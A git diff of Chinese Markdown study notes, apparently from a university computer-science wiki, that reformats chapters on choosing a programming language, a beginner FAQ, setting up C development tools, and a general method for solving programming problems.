([www.luogu.com.cn](http://www.luogu.com.cn))、Codeforces([www.codeforces.com](http://www.codeforces.com))、Atcoder([atcoder.jp](https://atcoder.jp/)) 等平台上注册账号,练习题目,参加这些网站定期组织的一些比赛。 如果经过一段时间的练习能够在 Codefoces([www.codeforces.com](http://www.codeforces.com))上达到 1400 以上的 Rating,那么可以再观望观望参与 ACM。 diff --git a/3.编程思维体系构建/3.3如何选择编程语言.md b/3.编程思维体系构建/3.3如何选择编程语言.md index 3e6d9e1..a8f949d 100644 --- a/3.编程思维体系构建/3.3如何选择编程语言.md +++ b/3.编程思维体系构建/3.3如何选择编程语言.md @@ -1,18 +1,18 @@ # 3.3 如何选择编程语言 -# 编程语言的工具属性 +## 编程语言的工具属性 在回答这个问题之前,需要各位同学明确的一点是,编程并不是一个独立的学科,像数学那样做题是学不好的。 编程语言的选择更像是锤子与扳手之间的选择,更大程度上看的是你需要解决什么样的问题。当你需要砸钉子的时候,使用螺丝刀总归是不顺手的,因此了解不同语言的特性,针对任务进行选择是非常有必要的。 -# 编程语言特性 +## 编程语言特性 首先附上一张经典老图 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnW0YQY58RXhwdtRj5k6ndlc.jpeg) +![](https://cdn.xyxsw.site/boxcnW0YQY58RXhwdtRj5k6ndlc.jpeg) -## C 语言/C++ +### C 语言/C++ C 语言/C 艹一脉同源,从图中来看,C 和 C 艹都像多功能瑞士军刀,说明其是用来做细活的工具,C 上面的优盘说明其可以进行硬件开发的相关工作。 @@ -22,11 +22,11 @@ C 语言其实是一门优秀的承上启下的语言,既具有高级语言的 但是其功能毕竟受限,有时候用起来会苦恼其操作受限以及各种奇奇怪怪的 bug 问题。 -如果为了增强自身的编程能力和计算机素养,培养解决问题的能力,C 语言的你的不二选择。在这里强烈推荐 jyy 老师的各类课程。([http://jyywiki.cn/](http://jyywiki.cn/) +**如果为了增强自身的编程能力和计算机素养,培养解决问题的能力,C 语言的你的不二选择。在这里强烈推荐 jyy 老师的各类课程。([http://jyywiki.cn/](http://jyywiki.cn/))** -我们的任务一部分会使用 C 语言,一方面培养大家编程能力,一方面辅助大家期末考试。 +**我们的任务一部分会使用 C 语言,一方面培养大家编程能力,一方面辅助大家期末考试。** -## C++ +### C++ 现代 C++ 程序可看成以下三部分组成。 @@ -34,7 +34,7 @@ C 语言其实是一门优秀的承上启下的语言,既具有高级语言的 - 更高级的语言特征,可自定义数据类型 - 标准库 -C++ 既有 C 面向过程的特点,又拥有面向对象的特性,是一门系统级的语言。 +**C++ 既有 C 面向过程的特点,又拥有面向对象的特性,是一门系统级的语言。** 编译器、操作系统的开发,高性能服务器的开发,游戏引擎的开发,硬件编程,深度学习框架的开发......只要是和底层系统或者是与性能相关的事情,通常都会有 C++ 的一席之地。 @@ -46,7 +46,7 @@ Python 在图里是电锯,适合干比较“狂野”的任务,也是深度 使用缩进控制语句是此语言的特点。 -作为深度学习的主要使用语言,我们将以Python 为主。 +**作为深度学习的主要使用语言,我们将以****P****ython 为主。** ## JAVA @@ -54,8 +54,8 @@ Python 在图里是电锯,适合干比较“狂野”的任务,也是深度 他太老了,虽然不少框架都依托于 Java,但是不得不说,一些地方略有落后。 -频繁应用于Web 开发,安卓应用等等。 +**频繁应用于****W****eb 开发,安卓应用等等。** -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPv2FcyQxGLjYHThSaJNwRf.jpeg) +![](https://cdn.xyxsw.site/boxcnPv2FcyQxGLjYHThSaJNwRf.jpeg) 当然还有各种形形色色的编程语言等着同学们去探索。 diff --git a/3.编程思维体系构建/3.4.1FAQ:常见问题.md b/3.编程思维体系构建/3.4.1FAQ:常见问题.md index 4327261..2b42708 100644 --- a/3.编程思维体系构建/3.4.1FAQ:常见问题.md +++ b/3.编程思维体系构建/3.4.1FAQ:常见问题.md @@ -1,39 +1,39 @@ # FAQ:常见问题 -# 我完全没基础觉得好难呜呜 +## 我完全没基础觉得好难呜呜 -教育除了知识的记忆之外, 更本质的是能力的训练, 即所谓的 training. 而但凡 training 就必须克服一定的难度, 否则你就是在做重复劳动, 能力也不会有改变. 如果遇到难度就选择退缩, 或者让别人来替你克服本该由你自己克服的难度, 等于是自动放弃了获得 training 的机会 +教育除了知识的记忆之外,更本质的是能力的训练,即所谓的 training. 而但凡 training 就必须克服一定的难度,否则你就是在做重复劳动,能力也不会有改变。如果遇到难度就选择退缩,或者让别人来替你克服本该由你自己克服的难度,等于是自动放弃了获得 training 的机会 -# 我觉得无从下手 +## 我觉得无从下手 尝试借鉴他人的代码也未尝不可,但是要保证每一行都看懂哦 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnQ4rvJqVbXJaWMOwceHdrQb.png) +![](https://cdn.xyxsw.site/boxcnQ4rvJqVbXJaWMOwceHdrQb.png) -# 我感觉讲义写的不够细 +## 我感觉讲义写的不够细 首先,我无法照顾到每一个人的情况,保证你每一个地方都看懂 其次,很多地方的坑是故意留给你让你尝试独立解决问题的。 -# 我觉得我以后不会从事 C 相关的工作 +## 我觉得我以后不会从事 C 相关的工作 -这种"只要不影响我现在 survive, 就不要紧"的想法其实非常的利己和短视: 你在专业上的技不如人, 迟早有一天会找上来, 会影响到你个人职业生涯的长远的发展 +这种"只要不影响我现在 survive, 就不要紧"的想法其实非常的利己和短视:你在专业上的技不如人,迟早有一天会找上来,会影响到你个人职业生涯的长远的发展 更严重的是,他可能会透支学校的信誉。 -同时,先学好 C 语言对你有以下帮助: +**同时,先学好 C 语言对你有以下帮助:** 1. 掌握计算机底层知识:C 语言是一种高效的系统级语言,它的语法和数据结构设计直接映射到底层计算机硬件,通过学习 C 语言可以更深入地了解计算机底层运作原理,为理解更高级的编程语言和开发工具奠定基础。 2. 提高编程能力:C 语言的语法相对较为简单,但是它要求程序员手动管理内存,这需要编程者深入了解内存结构和指针的使用。通过学习 C 语言,可以锻炼编程能力,提高代码质量和效率。 3. 能够理解其他语言:C 语言是很多编程语言的基础,如 C++、Java、Python 等语言都从 C 语言继承了很多特性。因此,学好 C 语言可以帮助你更好地理解其他编程语言的设计思路和工作原理。 4. 开发底层软件:由于 C 语言具有高效、灵活、可移植等特点,因此它被广泛用于开发操作系统、嵌入式系统、网络协议、游戏引擎等底层软件。学习好 C 语言可以为你将来从事底层软件开发提供必要的基础知识。 -# 我感觉我写了也不会学到啥 +## 我感觉我写了也不会学到啥 复杂的问题总是存在简单的解释,C 语言虽然不擅长带 GUI 界面的编写,但是我们每日在用的都和他息息相关,那些庞大的系统也无非就是由这些简单的东西搭建而成的 -# 我觉得我没有学懂 C 语言就开始别的合适吗 +## 我觉得我没有学懂 C 语言就开始别的合适吗 学习本章内容更大程度上是为了让你搞清楚编程世界运行的基本原理 @@ -45,19 +45,19 @@ NJU-ICS-PA 南京大学计算机系统基础 但是建议大家大二再进行尝试,非常难 -# 我总觉得文章没写清楚 +## 我总觉得文章没写清楚 -你毕业后进入公司/课题组, 不会再有讲义具体地告诉你应该做什么, 总有一天你需要在脱离讲义的情况下完成任务. 我们希望你现在就放弃"讲义和框架代码会把我应该做的一切细节清楚地告诉我"的幻想, 为自己的成长负起责任: +你毕业后进入公司/课题组,不会再有讲义具体地告诉你应该做什么,总有一天你需要在脱离讲义的情况下完成任务。我们希望你现在就放弃"讲义和框架代码会把我应该做的一切细节清楚地告诉我"的幻想,为自己的成长负起责任: -- 不知道在说什么, 说明你对知识点的理解还不够清楚, 这时候你应该去看书/看手册 -- 不知道要做什么/怎么做, 说明你的系统观好是零碎的, 理解不了系统中各个模块之间的联系, 这时候你应该 RTFSC, 尽自己最大努力梳理并理解系统中的一切细节 -- bug 调不出来, 说明你不清楚程序正确的预期行为, 你需要 RTFSC 理解程序应该如何运行; 此外也说明你不重视工具和方法的使用, 你需要花时间去体验和总结它们 +- 不知道在说什么,说明你对知识点的理解还不够清楚,这时候你应该去看书/看手册 +- 不知道要做什么/怎么做,说明你的系统观好是零碎的,理解不了系统中各个模块之间的联系,这时候你应该 RTFSC, 尽自己最大努力梳理并理解系统中的一切细节 +- bug 调不出来,说明你不清楚程序正确的预期行为,你需要 RTFSC 理解程序应该如何运行; 此外也说明你不重视工具和方法的使用,你需要花时间去体验和总结它们 -如果你发现自己有以上情况, 你还是少抱怨, 多吃苦吧. +如果你发现自己有以上情况,你还是少抱怨,多吃苦吧。 当然,如果你发现有更好的想法欢迎联系我 -# 这些对我太简单了 +## 这些对我太简单了 你可以从广度和深度两个角度对自己进行拔高 @@ -65,8 +65,8 @@ NJU-ICS-PA 南京大学计算机系统基础 有且仅有大学有这样好的资源帮助你了 -# 坚持了好久还是搞不定, 我想放弃了 +## **坚持了好久还是搞不定,我想放弃了** -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnuNXrb5zOppCZAlGQ19wuDk.jpg) +![](https://cdn.xyxsw.site/boxcnuNXrb5zOppCZAlGQ19wuDk.jpg) 也许是你坚持的姿势不对,来和 ZZM 聊聊吧 diff --git a/3.编程思维体系构建/3.4.2用什么写 C 语言.md b/3.编程思维体系构建/3.4.2用什么写 C 语言.md index 3783188..21ea037 100644 --- a/3.编程思维体系构建/3.4.2用什么写 C 语言.md +++ b/3.编程思维体系构建/3.4.2用什么写 C 语言.md @@ -2,29 +2,31 @@ 初学 C 语言,第一个问题莫过于用什么软件编写 C 语言程序。学校的老师可能会推荐包括但不限于 VC6.0,CodeBlocks,devC++,Visual Studio2013 等,如果你的电脑不是老年机,那么以上软件衷心建议你不要去使用,过于老旧了。 -# Windows-Visual Studio +## Windows-Visual Studio -[vs2022(Visual Studio 2022)指南&&技巧要领](https://www.bilibili.com/video/BV1Xt411g7jT?vd_source=699341ff80cb01917fb43665199a48dd) +[vs2022(Visual Studio 2022) 指南&&技巧要领](https://www.bilibili.com/video/BV1Xt411g7jT) -Visual Studio (以下简称 VS )是 Windows 下最完美的 C/C++ 等语言的开发平台,有“宇宙第一 IDE”之称,功能丰富,开箱即用。目前更新到 2022 版。 + + +Visual Studio(以下简称 VS)是 Windows 下最完美的 C/C++ 等语言的开发平台,有“宇宙第一 IDE”之称,功能丰富,开箱即用。目前更新到 2022 版。 什么是 IDE,什么是代码编辑器,什么是编译器等等细碎问题参考文档 [3.1 该使用哪个编辑器???](3.1%E8%AF%A5%E4%BD%BF%E7%94%A8%E5%93%AA%E4%B8%AA%E7%BC%96%E8%BE%91%E5%99%A8%EF%BC%9F%EF%BC%9F%EF%BC%9F.md) 看不懂的话直接无脑装 -## 下载 +### **下载** [https://visualstudio.microsoft.com/zh-hans/downloads/](https://visualstudio.microsoft.com/zh-hans/downloads/) 选择社区版 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhNeAnlrbcdJciMUY9oNTuc.png) +![](https://cdn.xyxsw.site/boxcnhNeAnlrbcdJciMUY9oNTuc.png) 社区版和专业版等的区别:社区版免费,功能上几乎无差别 -## 安装 +### VS 安装 选择 C++ 桌面开发,其他不用选,有需要了再说。另外,Python 开发不好使,不要像我一样选 Python 开发。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnkjmKcCxIgRIzA5kyUZckye.png) +![](https://cdn.xyxsw.site/boxcnkjmKcCxIgRIzA5kyUZckye.png) 安装完成后,一般来说 VS 不会自动创建桌面快捷方式,你需要到开始菜单中启动 VS。 @@ -32,25 +34,25 @@ Visual Studio (以下简称 VS )是 Windows 下最完美的 C/C++ 等语言 首次打开应该会让你选择开发环境和主题,建议开发环境选择 C++ ,主题根据个人喜好选择。 -## 创建项目 +### 创建项目 VS 是项目制,你需要创建一个项目才能开始编写代码并运行。 打开 VS,会打开如下界面(我使用深色主题),在此处单击“创建新项目” -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn6MgNnY2qBd1yAudeirx6Sh.png) +![](https://cdn.xyxsw.site/boxcn6MgNnY2qBd1yAudeirx6Sh.png) 在创建新项目页面中选择项目模板为控制台应用(空项目亦可,后续手动添加.c 源文件),并单击下一步 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnFwZpWZ3fQkdd3mCO8Mr9Wj.png) +![](https://cdn.xyxsw.site/boxcnFwZpWZ3fQkdd3mCO8Mr9Wj.png) 为你的项目起一个名字,以及选择项目的位置,一般默认即可,如果你有强迫症,C 盘一定不能放个人数据,请自行修改。完成后单击“创建” -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnkxd472wIT39DbEiBsyPWzf.png) +![](https://cdn.xyxsw.site/boxcnkxd472wIT39DbEiBsyPWzf.png) 自此就创建了一个项目了,你将会到达如下界面: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnvOGdjKLnvXvJM7nlE8yVcb.png) +![](https://cdn.xyxsw.site/boxcnvOGdjKLnvXvJM7nlE8yVcb.png) 其中,左侧(如果在一开始没有选择 C++ 开发环境的话可能在右侧)为资源管理器,列出了本项目所用到的所有文件,包括代码(外部依赖项、源文件、头文件),以及将来开发图形化界面所需的资源文件;最中间占据面积最多的是代码编辑器窗口,你以后将会在这里编写你的 C 语言代码。最下面是输出窗口,源代码进行编译时,会在此处给出编译进度以及可能的代码中的错误。 @@ -58,91 +60,94 @@ VS 是项目制,你需要创建一个项目才能开始编写代码并运行 阅读完以后,就可以将代码全部删去,编写自己的代码了。 -注意控制台项目初始源文件后缀为.cpp 为 C++ 文件,如果编写 C 语言建议将后缀改为.c。.cpp 存在隐患:如果不小心使用了 C++ 的语法而非 C 存在的语法,编译器并不会报错,且 C 与 C++ 在某些特性存在区别。 +注意控制台项目初始源文件后缀为.cpp 为 C++ 文件,如果编写 C 语言**建议将后缀改为.c**。.cpp 存在隐患:如果不小心使用了 C++ 的语法而非 C 存在的语法,编译器并不会报错,且 C 与 C++ 在某些特性存在区别。 -## “运行”你的 C 语言代码 +### “运行”你的 C 语言代码 C 语言是编译型语言,因此说“运行”代码其实并不是十分合适,不过我们初学,不用过分抠字眼,知道什么意思即可。 当你编写完自己的代码后,即可单击“本地 Windows 调试器”(或者使用快捷键 F5)进行“运行”。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhTxhUYMHeYHdrq0zWzLomb.png) +![](https://cdn.xyxsw.site/boxcnhTxhUYMHeYHdrq0zWzLomb.png) 你可能会发现在“本地 Windows 调试器”右侧还有一个绿色三角形,并且单击这个也可以“运行”,这两个的区别在于“本地 Windows 调试器”是调试运行,右侧那个是不调试直接运行。 -## scanf 报错 +### scanf 报错 如果你的代码被 VS 提示“This function or variable may be unsafe. Consider using scanf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.” -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnfrxYjk5CCjMfY0mLK1B1Ze.png) +![](https://cdn.xyxsw.site/boxcnfrxYjk5CCjMfY0mLK1B1Ze.png) -需要你在项目-xxx 属性(xxx 是你的项目名)-C/C++-代码生成-安全检查里将安全检查禁用 +需要你在项目-xxx 属性(xxx 是你的项目名)-C/C++-代码生成 - 安全检查里将安全检查禁用 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcniHhCIUQY0oB3ALlxqgciLd.png) +![](https://cdn.xyxsw.site/boxcniHhCIUQY0oB3ALlxqgciLd.png) -## 调试 +### 调试 IDE 相比于代码编辑器,最强大的一点莫过于成熟的调试系统。通过调试,可以快速定位代码中没有被编译器检查出来的逻辑错误。如果需要调试,则可以在这个位置单击,打下断点,并且运行程序,程序运行时,就会在此处暂停下来,暂停时就可以查看各个变量的值了。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnydHyaNPqUEVVWmbdGofX0d.png) +![](https://cdn.xyxsw.site/boxcnydHyaNPqUEVVWmbdGofX0d.png) -## 深色主题 +### **深色主题** -需要深色主题请在工具-主题里更改为深色 +需要深色主题请在工具 - 主题里更改为深色 -## Tips +### Tips -### 仔细查看报错 +#### 仔细查看报错 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnC6TAAdtS0P5HzebFgFn2lc.png) +![](https://cdn.xyxsw.site/boxcnC6TAAdtS0P5HzebFgFn2lc.png) 如果程序代码中出现红色波浪线,则表示该处代码有“错误”,并且该处的错误会同步显示在下面的这个位置,单击即可看到错误详情。如果代码中出现绿色波浪线,则表示该处代码中有警告。警告和错误的区别是警告可以通过编译运行,但编译器认为你这里可能写错了;错误是完全不可以通过编译。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn7zL0QFakVTpYBdpOmmWOvc.png) +![](https://cdn.xyxsw.site/boxcn7zL0QFakVTpYBdpOmmWOvc.png) -### 善用提示 +#### 善用提示 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn2ouk043lNQEUkVkIS7bSSd.png) +![](https://cdn.xyxsw.site/boxcn2ouk043lNQEUkVkIS7bSSd.png) 当你打一些函数名或者关键字时,VS 会给出你语法提示,如果这个提示正确,按下 Tab 键即可将这个提示补全到你的代码里;或者你也可以跟着这个提示打一遍,防止打错关键字。 -## VS 的缺点 +### VS 的缺点 过于庞大,很多功能对于初学者来说用不上,对电脑的性能也有略微的要求,但瑕不掩瑜,他的开箱即用的使用体验还是很不错的。 -# Windows-Visual Studio Code +## Windows-Visual Studio Code -Visual Studio Code(以下简称 vscode) 和 Visual Studio 都是微软开发的软件,区别在于 Visual Studio Code 是一个比较轻量的代码编辑器,在没有经过配置的情况下一般只能编写和查看代码,而不能运行,并且 Visual Studio Code 跨平台,在安装了丰富的插件后体验不输于一众 IDE。 +Visual Studio Code(以下简称 vscode)和 Visual Studio 都是微软开发的软件,区别在于 Visual Studio Code 是一个比较轻量的代码编辑器,在没有经过配置的情况下一般只能编写和查看代码,而不能运行,并且 Visual Studio Code 跨平台,在安装了丰富的插件后体验不输于一众 IDE。 -## 安装 +> NX 的留言: +> 鄙人认为 C 的初学者应该使用 VSCode 更佳,环境准备可见鄙人博客 [『C/C++』VScode 环境配置](https://nickxu.me/2021/12/31/cc-vscode-huan-jing-pei-zhi/) -### 安装软件本体 +### vscode 安装 + +#### 安装软件本体 [https://code.visualstudio.com/](https://code.visualstudio.com/) 在该网站进行下载,并安装,安装完成并打开后可以根据右下角的提示来修改显示语言等 -### 安装编译器 +#### 安装编译器 如果你电脑上下载有 VS,那么安装编译器这一环节可以省略。如果电脑上没有 VS,则需要安装 VS,或者下载其他 C 语言编译器,如 gcc,clang,icc 等 -## 创建“项目” +### 创建“项目” vscode 的项目和 VS 不同,vscode 的项目比较松散,并没有 VS 那样是一套非常完善的项目系统。 -首先需要一个空文件夹,并在 vscode 里打开这个文件夹。然后点击文件-新建文本文件,并选择语言为 C 语言。此时如果你是第一次创建 C 语言文件,那么右下角会弹出提示,提示你安装 C/C++ 插件,安装即可。 +首先需要一个空文件夹,并在 vscode 里打开这个文件夹。然后点击文件 - 新建文本文件,并选择语言为 C 语言。此时如果你是第一次创建 C 语言文件,那么右下角会弹出提示,提示你安装 C/C++ 插件,安装即可。 -## 编写代码并运行 +### 编写代码并运行 -编写完代码后,保存文件,并点击运行-启动调试 +编写完代码后,保存文件,并点击运行 - 启动调试 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnim98FJybpkGl8sfqxP9v9b.png) +![](https://cdn.xyxsw.site/boxcnim98FJybpkGl8sfqxP9v9b.png) 此时会弹出如下选择框,我的电脑上同时安装有 VS 和 gcc 编译器,因此有两个,大部分的电脑上应该只有一个“C++ (Windows)”,选择你电脑上的编译器并运行即可。 至此就已经完成了编程和调试的基本功能。如果你想要更丰富的功能,比如多文件编译等等,可以自行去网上搜索相关的配置教程。vscode 配置好了是非常好用的,但缺点就在于配置比较麻烦。 -# Windows-CLion +## Windows-CLion CLion 是 jetbrains 家族的 C 语言 IDE @@ -150,38 +155,41 @@ CLion 是 jetbrains 家族的 C 语言 IDE 收费软件,但可以从 GitHub 学生包里白嫖,喜欢折腾或者喜欢 jetbrains 家族软件风格的可以自己去折腾折腾。 -# Mac OS-Visual Studio Code +## Mac OS-Visual Studio Code 用法和 Windows 的差不多,但由于 Mac OS 自带 clang 编译器,所以无需额外安装编译器。 -# Mac OS-CLion +> NX 的留言: +> 使用自带的 clang 的确没问题,但是如果你想在 macOS 上使用 gcc/g++ ,[可参考鄙人的博客 在 Mac 的 VSC 中使用 g++ 编译器](https://nickxu.me/2023/04/04/%E5%9C%A8Mac%E7%9A%84VSCode%E4%B8%AD%E4%BD%BF%E7%94%A8g-%E7%BC%96%E8%AF%91%E5%99%A8) + +## Mac OS-CLion 同样和 Windows 的差不多。 -# Mac OS-Xcode +## Mac OS-Xcode XCode 是 mac 官方的 IDE,能编写所有 mac 家族设备的软件。但缺点是没有中文。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn05Ca6Wu5TxFMplZCw2N8Jb.png) +![](https://cdn.xyxsw.site/boxcn05Ca6Wu5TxFMplZCw2N8Jb.png) 打开以后选择 Create a new Xcode project,选择 macOS-Command Line Tool -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbnrVCmNGfriHhU5pL76gsd.png) +![](https://cdn.xyxsw.site/boxcnbnrVCmNGfriHhU5pL76gsd.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnnjaObP5JzpICUx1PMO9MQg.png) +![](https://cdn.xyxsw.site/boxcnnjaObP5JzpICUx1PMO9MQg.png) 两个空里第一个填项目名,第二个随便填就行 next 后选择项目保存的位置,之后即可到达以下界面: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnl06p0ZS8SSQsWJNLQLYIjc.png) +![](https://cdn.xyxsw.site/boxcnl06p0ZS8SSQsWJNLQLYIjc.png) 点左上方小三角即可运行 在行号上点击并运行即可调试 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnmRygjmZfwFzODP2N6bVoEh.png) +![](https://cdn.xyxsw.site/boxcnmRygjmZfwFzODP2N6bVoEh.png) -# Linux +## Linux -## 你都用 Linux 了你还来问我?一边玩去! +### 你都用 Linux 了你还来问我?一边玩去 diff --git a/3.编程思维体系构建/3.4.3解决编程问题的普适性过程.md b/3.编程思维体系构建/3.4.3解决编程问题的普适性过程.md index 080412f..c2cc8d3 100644 --- a/3.编程思维体系构建/3.4.3解决编程问题的普适性过程.md +++ b/3.编程思维体系构建/3.4.3解决编程问题的普适性过程.md @@ -3,7 +3,7 @@ - 本篇不需要任何前置知识,推荐在学习 C 语言和学完 C 语言后各看一遍。 - 我们鼓励你在解决问题的时候进行思考,锻炼解决问题的能力,而不只是成为一个做代码翻译工作的“码农”。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/YAOvb6gquofiAYxsn3tcxcCYngf.png) +![](https://cdn.xyxsw.site/YAOvb6gquofiAYxsn3tcxcCYngf.png) 解决编程问题的常见误区: @@ -13,11 +13,11 @@ 如果你计划得足够好并且代码编写得正确,你的代码将在第一次工作。即便它第一次不起作用,那么你至少有一个对于代码如何调试的可靠计划。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HMipbO4vSoM3jhxSZ7Kcuddqnxh.png) +![](https://cdn.xyxsw.site/HMipbO4vSoM3jhxSZ7Kcuddqnxh.png) ## Work an Example Yourself -尝试设计算法的第一步是自己(手动)处理至少一个问题实例,为每个参数选择特定值。往往需要确定一个正确的示例,以及错误的示例。 +尝试设计算法的第一步是**自己(手动)处理至少一个问题实例,为每个参数选择特定值。**往往需要确定**一个正确的示例,以及错误的示例。** 如果你在这一步陷入困境,这通常意味着两件事中的一件。第一种情况是问题不明确,不清楚你应该做什么。在这种情况下,你必须在继续之前解决问题。如果你正在解决自己创造的问题,你可能需要更仔细地思考正确的答案应该是什么,并完善你对问题的定义。 @@ -25,15 +25,15 @@ ## Write Down What You Just Did -这一步中,必须思考解决问题所做的工作,并写下解决该特定实例的步骤。思考这一步骤的另一种方式是,写下一组清晰的指示,其他人可以按照这些指示来重现刚刚解决的特定问题实例的答案。如果在步骤 1 中执行了多个实例,那么也将重复步骤 2 多次,对步骤 1 中的每个实例重复一次。如果一条指令有点复杂,那没关系,只要指令稍后有明确的含义,我们将把这些复杂的步骤转化为它们自己的编程问题,这些问题将单独解决。 +这一步中,必须思考解决问题所做的工作,并写下**解决该特定实例的步骤。**思考这一步骤的另一种方式是,写下一组清晰的指示,**其他人可以按照这些指示来重现刚刚解决的特定问题实例的答案**。如果在步骤 1 中执行了多个实例,那么也将重复步骤 2 多次,对步骤 1 中的每个实例重复一次。如果一条指令有点复杂,那没关系,只要指令稍后有明确的含义,我们将把这些复杂的步骤转化为它们自己的编程问题,这些问题将单独解决。 ## Generalize Your Steps -将步骤 2 得到的具体步骤,抽象为一般性的结论。有时可能很难概括步骤。发生这种情况时,返回步骤 1 和 2 可能会有所帮助。做更多的问题实例将提供更多的信息供参考,更能帮助深入算法。这个过程通常被称为编写“伪代码”,以编程方式设计算法,而不使用特定的目标语言。几乎所有的程序员在编写任何实际代码之前都会使用这种方法来确保他们的算法是正确的。 +**将步骤 2 得到的具体步骤,抽象为一般性的结论。**有时可能很难概括步骤。发生这种情况时,返回步骤 1 和 2 可能会有所帮助。做更多的问题实例将提供更多的信息供参考,更能帮助深入算法。这个过程通常被称为编写“伪代码”,以编程方式设计算法,而不使用特定的目标语言。几乎所有的程序员在编写任何实际代码之前都会使用这种方法来确保他们的算法是正确的。 ## Test Your Algorithm -在步骤 3 之后,我们有了一个我们认为正确的算法。然而,我们完全有可能在这一路上搞砸了。步骤 4 的主要目的是确保我们的步骤在继续之前是正确的。为了实现这一点,我们使用不同于设计算法时使用的参数值来测试我们的算法。我们手动执行算法,并将其获得的答案与正确的答案进行比较。如果它们不同,那么我们知道我们的算法是错误的。我们使用的测试用例(参数值)越多,我们就越能确信我们的算法是正确的。不幸的是,通过测试无法确保我们的算法是正确的。要完全确定你的算法是正确的,唯一的方法就是正式证明它的正确性(使用数学证明),这超出了这个专门化的范围。 +在步骤 3 之后,我们有了一个我们认为正确的算法。然而,我们完全有可能在这一路上搞砸了。步骤 4 的主要目的是确保我们的步骤在继续之前是正确的。为了实现这一点,我们使用**不同于设计算法时使用的参数值**来测试我们的算法。我们手动执行算法,并将其获得的答案与正确的答案进行比较。如果它们不同,那么我们知道我们的算法是错误的。我们使用的测试用例(参数值)越多,我们就越能确信我们的算法是正确的。不幸的是,通过测试无法确保我们的算法是正确的。要完全确定你的算法是正确的,唯一的方法就是正式证明它的正确性(使用数学证明),这超出了这个专门化的范围。 确定好的测试用例是一项重要的技能,可以随着实践而提高。对于步骤 4 中的测试,您需要使用至少产生几个不同答案的情况进行测试(例如,如果您的算法有“是”或“否”答案,则应使用同时产生“是”和“否”的参数进行测试)。您还应该测试任何角落情况,其中行为可能与更一般的情况不同。每当您有条件决定(包括计算位置的限制)时,您应该在这些条件的边界附近测试潜在的角点情况。 @@ -47,7 +47,7 @@ 在黑盒测试中,测试人员只考虑功能的预期行为,而不考虑设计测试用例的任何实现细节。缺乏对实现细节的访问是这种测试方法的由来——函数的实现被视为测试人员无法查看的“黑盒子”。 -事实上我们无需执行步骤 1-5 就能够为假设问题设想好的测试用例。实际上,在开始解决问题之前,您可以针对问题提出一组黑盒测试。一些程序员提倡测试优先的开发方法。一个优点是,如果您在开始之前编写了一个全面的测试套件,那么在实现代码之后就不太可能在测试上有所疏漏。另一个优点是,通过提前考虑你的情况,你在开发和实现算法时能够降低错误率。 +事实上我们无需执行步骤 1-5 就能够为假设问题设想好的测试用例。实际上,在开始解决问题之前,您可以针对问题提出一组黑盒测试。一些程序员提倡**测试优先**的开发方法。一个优点是,如果您在开始之前编写了一个全面的测试套件,那么在实现代码之后就不太可能在测试上有所疏漏。另一个优点是,通过提前考虑你的情况,你在开发和实现算法时能够降低错误率。 - 选择测试用例的一些建议 @@ -65,4 +65,3 @@ ## Debug Program 一旦在代码中发现了问题,就需要修复它,这个过程称为调试。许多新手程序员(甚至一些经验丰富的程序员)以临时方式调试,试图更改代码中的某些内容,并希望它能解决他们的问题。这样的方法很少有效,常常会导致很多挫折。 - diff --git a/3.编程思维体系构建/3.4.4C语言前置概念学习.md b/3.编程思维体系构建/3.4.4C语言前置概念学习.md index 8638d01..331e006 100644 --- a/3.编程思维体系构建/3.4.4C语言前置概念学习.md +++ b/3.编程思维体系构建/3.4.4C语言前置概念学习.md @@ -1,10 +1,12 @@ # C 语言前置概念学习 -如何学习 C 语言?第一步:Throw away the textbook。也许你可以通过以下途径: +如何学习 C 语言?**第一步:Throw away the textbook。**也许你可以通过以下途径: 以下方式难度由易到难,但并不意味着收获由小到大: -1.Video:[B 站翁恺的 C 语言课程](https://www.bilibili.com/video/BV19W411B7w1?spm_id_from=333.337.search-card.all.click&vd_source=da5a5affb1b0c71c0d7e410b1d1a3c17)(非常基础,缺点是只看视频学的过浅) +1.Video:[B 站翁恺的 C 语言课程](https://www.bilibili.com/video/BV1dr4y1n7vA)(非常基础,缺点是只看视频学的过浅) + + 2.MOOC:[翁凯 C 课程的 MOOC 慕课](https://www.icourse163.org/course/ZJU-9001)(同上,慕课的习题和 Projects 性价比不高,几乎没有差别) @@ -12,13 +14,17 @@ 